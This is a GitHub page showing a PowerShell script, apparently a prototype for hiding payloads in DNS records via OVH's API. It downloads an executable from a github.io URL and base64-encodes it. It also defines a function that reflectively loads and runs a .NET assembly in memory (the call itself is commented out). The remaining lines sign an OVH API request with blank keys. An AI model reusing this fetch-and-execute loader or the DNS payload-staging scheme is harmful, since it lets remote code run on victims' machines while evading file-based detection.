-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathOVHPowerShell
More file actions
55 lines (41 loc) · 1.48 KB
/
OVHPowerShell
File metadata and controls
55 lines (41 loc) · 1.48 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function RunAssembly{
param (
[Byte[]]$bytes
)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, $null)
}
# Récupération du payload
$url = "https://hakkyahud.github.io/HelloWorldCS.exe"
$bytes = (New-Object Net.WebClient).DownloadData($url)
# Convert to base64
$base64 = [System.Convert]::ToBase64String($bytes)
$bytes2 = [System.Convert]::FromBase64String($base64)
# RunAssembly($bytes2)
# Send base64 payload to DNS server
# OVH cred API
$endpoint=""
$AK = ""
$AS = ""
$CK = ""
# Application GET : /me -> https://eu.api.ovh.com/1.0/me
$QUERY = ""
$METHOD = "GET"
$BODY = ""
$TIME = [DateTimeOffset]::Now.ToUnixTimeSeconds()
# $TIME = "1679036847"
Write-Output("Time : " + $TIME)
$SHA = "$AS+$CK+$METHOD+$QUERY+$BODY+$TIME"
Write-Output("Hash : " + $SHA)
# Get Hash from String
$stream = [System.IO.MemoryStream]::new()
$writer = [System.IO.StreamWriter]::new($stream)
$writer.Write($SHA)
$writer.Flush()
$stream.Position=0
$hash = Get-FileHash -Algorithm SHA1 -InputStream $stream | foreach { $_.Hash }
# $HASH = [System.Web.Security.FormsAuthentication]::HashPasswordForStoringInConfigFile($SHA, "SHA1")
$SIGNATURE = '$1$'+$hash
Write-Output("Signature : " + $SIGNATURE.ToLower())
Invoke-WebRequest -Method GET -Headers @{"Content-type"="application/json"; "X-Ovh-Application"=$AK; "X-Ovh-Consumer"=$CK; "X-Ovh-Signature"=$SIGNATURE.ToLower(); "X-Ovh-Timestamp"=$TIME} https://eu.api.ovh.com/1.0/me